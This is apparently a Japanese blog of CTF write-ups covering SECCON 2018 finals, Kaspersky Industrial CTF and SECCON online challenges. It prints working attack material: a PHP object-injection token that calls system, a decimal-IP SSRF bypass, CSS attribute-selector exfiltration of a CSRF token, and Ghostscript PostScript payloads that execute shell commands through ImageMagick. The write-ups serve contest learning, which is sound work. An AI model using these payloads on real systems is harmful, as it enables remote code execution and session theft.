SECCON 2018 国内決勝 反省会会場

2018年12月23日に開催されたSECCON CTF 2018 国内決勝にTeam Enuのメンバーとして出場してきました。

結果は去年と同じ6位でしたが、獲得点数は今年の方がだいぶ高かったのでよかったです(?)。バイナリ系の問題は全く手を出さなかった(できないので)のですが、ここでは私が解いた問題について書いていきます。

松島

この問題はマリーナベイサンズにただならぬ思い入れがある方が作った、オンラインポーカーでした。フルハウス以上を出すと1つめのAttack keywordが手に入り、フォーカード以上を出すと2つめのAttack keywordとDefence keywordを入力するページのURLが手に入ります。

この問題の想定解法は、配布されているgenerate_random_handsというELFファイルを解析してフルハウスやフォーカードを出す方法(タイミングと交換する手札)を調べるという方法なんだろうと思われます。手元でELFファイルを動かしてみたところ、1秒ごとに配られる手札が変わっていたので手札は時間をシードとする乱数で決まるんだろうと思いましたし、実際にバイナリの中身を見ていたチームメイトもそう言っていました。

そんな中、どこかのチームが開始から割と早い段階でAttack keywordをsubmitしていました。バイナリを読んでどうにかする暇もないレベルの速さだったので、ここでこの問題は気合いでやれば解ける問題だと確信しました。

あとはチームメイトの @takahoyo 氏が手動でぶん回してフルハウスを出し、私はChrome Extension*1を書いて自動でぶん回してフォーカードを出しました。

f:id:iso0:20181223223116p:plainf:id:iso0:20181223223244p:plain
左のはフォーカードが出ているように見えるがフルハウス判定。実は単にフォーカードを出せばいいわけではなく、その回で出うる最も強いカードではないといけないらしい(多分)。

天橋立

XSSできるhtmlとそのペイロードを問題サーバーに登録し、他のチームにその問題が解かれるまで(alert("XSS")が出せるまで)Defence pointが入るという問題でした。

いい感じにエンコードしたペイロードしか受け付けないようにしておけばまあ解かれないだろうということで、ググって出てきたスクリプトを、javascript obfuscatorでググって出てきたサイトに突っ込んで手直しして問題としてアップロードしておきました。

この方法でも割と健闘していて、後半になってこのまま解かれないだろうと安心しきっていたら、なんと解かれてしまいました*2。どうやらyharimaチームの方っぽいです。

SECCON CTF 2018 国内決勝 writeup - yuta1024's diary

この頃には他のほとんどのチームは、ペイロードのsha256が特定の値だったらalertを実行するという問題にしていたので速攻で他のチームの問題をパクらせていただきました。

ところで、松島も天橋立もDefence keywordの更新を自動でやるスクリプトを走らせていたのですが、天橋立スクリプトがぶっ壊れていて無限に存在しないパスにリクエストを出し続けるということをしてしまっていたのは秘密です。

終わりに

今回のCTFは一部で色々言われていますが、個人的には久しぶりにチームで集まってCTFができたので楽しかったです。

運営の皆様、ありがとうございました😊

*1:https://gist.github.com/0xiso/b4345e3a3d6d535b389cde103ec332bf - フォーカードを出すために手札の一番多い数字以外を全部Changeするという戦略でやっている。ポーカーのルールが全くわからないのでこれでいいのかは不明。

*2:私が作ったDefence keyword自動アップデートスクリプトがちゃんと仕事をしているか監視するスクリプトを @takahoyo 氏が回してくれていて気づけた

Kaspersky Industrial CTF Quals 2018 Writeup

2018/11/23 23:00 (JST) ~ 2018/11/24 23:00 (JST)に開催されたKaspersky Industrial CTFの予選を1問だけ解いた(1問だけしか解けなかったともいう)のでWriteupを置いておく。

expression (web)

問題文

http://expression.2018.ctf.kaspersky.com/

解き方

指定されたURLにアクセスすると次のようなページが表示される。

f:id:iso0:20181124234343p:plain

適当な数字を入れてSUBMITを押下すると計算結果とBase64 Encodeされてそうな文字列が表示される。

f:id:iso0:20181124234440p:plainf:id:iso0:20181124234512p:plain

Share itは次のURLへのリンクになっており、このURLにアクセスすると同じ計算結果が表示される。tokenには結果表示画面のTokenと同じ値が入っており、これがセッションを保持するキーもしくはセッションのデータそのものであると推測できる。

http://expression.2018.ctf.kaspersky.com/?action=load&token=TzoxMDoiRXhwcmVzc2lvbiI6Mzp7czoxNDoiAEV4cHJlc3Npb24Ab3AiO3M6Mzoic3VtIjtzOjE4OiIARXhwcmVzc2lvbgBwYXJhbXMiO2E6Mjp7aTowO2Q6MTtpOjE7ZDoyO31zOjk6InN0cmluZ2lmeSI7czo1OiIxICsgMiI7fQ==

ちなみにわざとエラーを発生させるような計算をすると、エラーメッセージが表示され、このWebアプリがPHPで書かれていることとPHPファイルの場所が判明する。

f:id:iso0:20181124234610p:plainf:id:iso0:20181124234635p:plain

tokenBase64 Decodeすると次のような結果となる。これはPHPserializeでオブジェクトをシリアル化した結果に見える。(ちなみに、この表現形式の詳しいことはserializeのマニュアルのコメント*1に書かれているが、問題自体はこれを読まずとも雰囲気で解ける。)

input = 'TzoxMDoiRXhwcmVzc2lvbiI6Mzp7czoxNDoiAEV4cHJlc3Npb24Ab3AiO3M6Mzoic3VtIjtzOjE4OiIARXhwcmVzc2lvbgBwYXJhbXMiO2E6Mjp7aTowO2Q6MTtpOjE7ZDoyO31zOjk6InN0cmluZ2lmeSI7czo1OiIxICsgMiI7fQ=='
>>> base64.b64decode(input)
b'O:10:"Expression":3:{s:14:"\x00Expression\x00op";s:3:"sum";s:18:"\x00Expression\x00params";a:2:{i:0;d:1;i:1;d:2;}s:9:"stringify";s:5:"1 + 2";}'

ここで、sumが入っていた場所にaaaとして/?action=load&token=<変更後のtoken>で読み込ませると次のエラーメッセージが表示される。

f:id:iso0:20181125001856p:plain

エラーメッセージからaaaという存在しない関数を呼ぼうとしてエラーになっていることがわかり、sumつまり、Expression->opを変更することで任意のPHPの関数を呼び出せるということがわかる。さらにいろいろいじると、Expression->paramsが引数として利用されることもわかる。これで任意の関数を任意の引数で呼び出せるようになり、あとはFlagのありかを探すだけとなる。

tokenを書き換えて環境変数を見てみたりDocument Rootをlsしてみたりしたが、最終的には/fl4g_h4r3にFlagが書き込まれていることがわかった。あとは次のように、system("cat /fl4g_h4r3")を実行するようにtokenを書き換えればFlagを入手できる。

b'O:10:"Expression":3:{s:14:"\x00Expression\x00op";s:6:"system";s:18:"\x00Expression\x00params";s:14:"cat /fl4g_h4r3";s:9:"stringify";s:6:"21 / 0";}'
KLCTF{f9f091be0ddb1703deb7004798f44709}

SECCON 2018 Online CTF Needle in a haystack Writeup

問題文

https://www.youtube.com/watch?v=sTKP2btHSBQ

Writeup

問題文のURLにアクセスすると約9時間のビルと空を撮影したお天気カメラ的なビデオであることがわかる。

一瞬Flagが表示されるのかもと思い、youtube-dlを使ってダウンロードしたあとにffmpeg -i some.mp4 -filter:v "select='gt(scene,0.4)',showinfo" "%05d.jpg"でシーンチェンジを抽出しようとしたがうまくいかなかった。

適当にシークバーを左右に動かしていると、右下のビルの窓の光がやけに点滅することに気づいた。

f:id:iso0:20181028221548g:plain

QuickTImeで60倍速で再生すると長く光ったり短く光ったりしているのでモールス信号であると確信して、気合いで信号を読み取った。

... . -.-. -.-. --- -. -.--. ... --- -- . - .. -- . ... -....- .- -....- ... . -.-. .-. . -....- -- . ... ... .- --. . -....- -... .-. --- .- -.. -.-. -- ... - ... -....- -... --- .-.. -.. .-.. -.-- -.--.-

Morse Code Translatorに突っ込んでいい感じに直すとFlagになった。

SECCON(SOMETIMES-A-SECRET-MESSAGE-BROADCASTS-BOLDLY)

SECCON 2018 Online CTF GhostKingdom Writeup

はじめに

この問題は2つのステップでFlagを入手することができる。

  1. CSSインジェクションでCSRFトークン(=セッションキー)を抜き出しローカルユーザーとしてログイン
  2. ローカルユーザーだけが使える、RCE脆弱性のあるImageMagickを使った画像変換機能でFlagを読み出す

問題文

http://ghostkingdom.pwn.seccon.jp/FLAG/

Writeup

問題文のURLにアクセスすると次のメッセージが表示される。

FLAG is somewhere in this folder.   GO TO TOP

http://ghostkingdom.pwn.seccon.jp/にアクセスするとログイン画面とユーザ作成画面へのリンクがある。

f:id:iso0:20181028170300p:plain

適当にアカウントを作ってログインするとメニューが表示される。

f:id:iso0:20181028170511p:plain

それぞれの機能は次の通り。

  • Message to adminはその名の通り、管理者にメッセージを送ることができる機能。色々試したところ、最近よくある、送ったメッセージをサーバーのHeadless Chromeで開いてくれてXSSが発動して…という問題ではない模様。このパターン結構好きなのでちょっと残念。

  • Take a screenshotはURLを指定するとそのページのスクショを返してくれる機能。

  • Upload imageはローカルネットワークからしかアクセスできないらしい。

Take a screenshotの調査

http://ghostkingdom.pwn.seccon.jp/のスクショを撮影してUpload imageメニューがどのように見えるか試してみる。

f:id:iso0:20181028205601p:plain

普通にアクセスさせるだけではインターネットからのアクセスと判定される。次に、http://127.0.0.1/を指定したところYou can not use URLs that contain the following keywords: 127, ::1, localというレスポンスが返ってきた。IPアドレスは色々な表記方法がある*1ので、127.0.0.1を10進数に変換した2130706433を指定するとlocalhostからのアクセスと判定された。

f:id:iso0:20181028210120p:plain

http://2130706433/?action=login&user=<USERNAME>&pass=<PASSWORD>へアクセスするとメニューが表示された。

f:id:iso0:20181028210250p:plain

ただ、Upload imageのURLは分からないのでこのままではそのページにアクセスすることはできない。

ちなみにセッションは多分スクショを撮影した送信元IPアドレスで管理されているようで、IPアドレスが変わるとログアウト状態になるようだ。

Message to adminの調査

メッセージ作成画面ではTypeを選べるようになっていて、Emergencyを選ぶと緊急度が高そうな色で装飾してくれる。

f:id:iso0:20181028171034p:plainf:id:iso0:20181028171053p:plain

このページではSend to adminをクリックするとCSRFトークンを送るような仕組みになっている。このCSRFトークンはCookieのセッションキーと一致している。管理者のCSRFトークンを窃取できれば管理者としてログインできるかもしれない。

<span class="msg">Message: AAAA</span>
<input type="hidden" name="csrf" value="bdf34c07abd5a325c685d0">
<input type="hidden" name="action" value="msgadm3">
<input type="submit" class="btn" value="Send to admin">

このページのURLは次の通り。

http://ghostkingdom.pwn.seccon.jp/?css=c3BhbntiYWNrZ3JvdW5kLWNvbG9yOnJlZDtjb2xvcjp5ZWxsb3d9&msg=AAAA&action=msgadm2

cssで指定されている値がBase64っぽいのでDecodeしてみるとspan{background-color:red;color:yellow}となり、レスポンスに含まれるCSSと一致する。ページに出力されるCSSをリクエスト側で操作できるようになっていることがわかる。ちなみに、記号などはエスケープされていてJavaScriptを挿入したりはできなさそうだった。

CSSを使ってページの要素の属性値を盗み出す手法は知られている*2ので、この手法で細工したページにスクショ機能を使って管理者にアクセスさせることで、管理者のセッションキーを盗み出せそうだ。

CSSによる属性値の窃取

CSSの属性セレクター(attribute selector)*3を使うことをによって、属性値を入手することができる。

例えばa要素のhref属性の値を入手したい場合を考える。

<a href="???">Example</a>

次のようなCSSを読み込ませることができた場合、属性値がaから始まっていればhttp://example.com/href=aにリクエストが飛び、bから始まっていればhttp://example.com/href=bにリクエストが飛び、、、といことができる。

a[href^="a"] {background:url("http://example.com/href=a");}
a[href^="b"] {background:url("http://example.com/href=b");}
...

このやり方で、自分に向けてリクエストを飛ばすようにすれば属性値の1文字目が判明する。2文字目以降も[href^="aa"][href^="ab"]のように繰り返すことにより読み出すことができる。

セッションキーの窃取

前述のようなCSSが出力されるMessage to adminのページに、スクショ機能を使って管理者にアクセスさせれば良い。具体的には次のコードでセッションキーを入手できる(セッションキーは22文字なので手動でやっても良かったが無駄に頑張ったスクリプトにしてしまった)。

Flagの読み出し

入手したセッションキーをCookieにセットして/?action=menuにアクセスするとUpload imageが有効化されている。Upload imgae/?action=upl0ad)にアクセスするとファイルをアップロードできるフォームが出てくる。

f:id:iso0:20181028212745p:plain

jpgをアップロードすると、gifに変換することができる。

f:id:iso0:20181028213505p:plainf:id:iso0:20181028213510p:plain

ここで変換後のURL(http://ghostkingdom.pwn.seccon.jp/ghostMagick.cgi?action=convert)を見てみると意味深なファイル名であることがわかる。どう考えてもGhostscriptの脆弱性が利用できるImageMagicを使って変換しているとしか思えないURLなのでhttps://www.openwall.com/lists/oss-security/2018/08/21/2にあるCentOS向けのidコマンドを実行するpsファイルをアップロードして変換してみる。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%id) currentdevice putdeviceprops

すると次のようなレスポンスが返ってきた。

uid=2127340927 gid=2127340927 groups=2127340927 Error: /ioerror in --showpage-- Operand stack: --nostringval-- 1 true Execution stack: %interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- --nostringval-- false 1 %stopped_push .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- 1761 1 3 %oparray_pop --nostringval-- --nostringval-- Dictionary stack: --dict:1172/1684(ro)(G)-- --dict:0/20(G)-- --dict:77/200(L)-- Current allocation mode is local Last OS error: Broken pipe GPL Ghostscript 9.07: Unrecoverable error, exit code 1 convert: Postscript delegate failed `/var/www/html/images/a1137958d6c900e6f936c2afec2bf227.jpg': No such file or directory @ error/ps.c/ReadPSImage/832. convert: no images defined `/var/www/html/images/a1137958d6c900e6f936c2afec2bf227.gif' @ error/convert.c/ConvertImageCommand/3046. 

idの結果が返ってきているのでどうやら成功した模様。エラーメッセージからDocumentRootが/var/www/htmlだということもわかる。次のpsファイルを変換させることでFlagのファイル名が判明する。

%!PS
userdict /setpagedevice undef
legal
{ null restore } stopped { pop } if
legal
mark /OutputFile (%pipe%ls /var/www/html/FLAG) currentdevice putdeviceprops

結果

index.html FLAGflagF1A8.txt Error: /ioerror in --showpage-- Operand stack: --nostringval-- 1 true Execution stack: %interp_exit .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- --nostringval-- --nostringval-- false 1 %stopped_push .runexec2 --nostringval-- --nostringval-- --nostringval-- 2 %stopped_push --nostringval-- 1761 1 3 %oparray_pop --nostringval-- --nostringval-- Dictionary stack: --dict:1172/1684(ro)(G)-- --dict:0/20(G)-- --dict:77/200(L)-- Current allocation mode is local Last OS error: Broken pipe GPL Ghostscript 9.07: Unrecoverable error, exit code 1 convert: Postscript delegate failed `/var/www/html/images/a1137958d6c900e6f936c2afec2bf227.jpg': No such file or directory @ error/ps.c/ReadPSImage/832. convert: no images defined `/var/www/html/images/a1137958d6c900e6f936c2afec2bf227.gif' 

あとはhttp://ghostkingdom.pwn.seccon.jp/FLAG/FLAGflagF1A8.txtにアクセスすればFlagを入手できる。

SECCON{CSSinjection+GhostScript/ImageMagickRCE}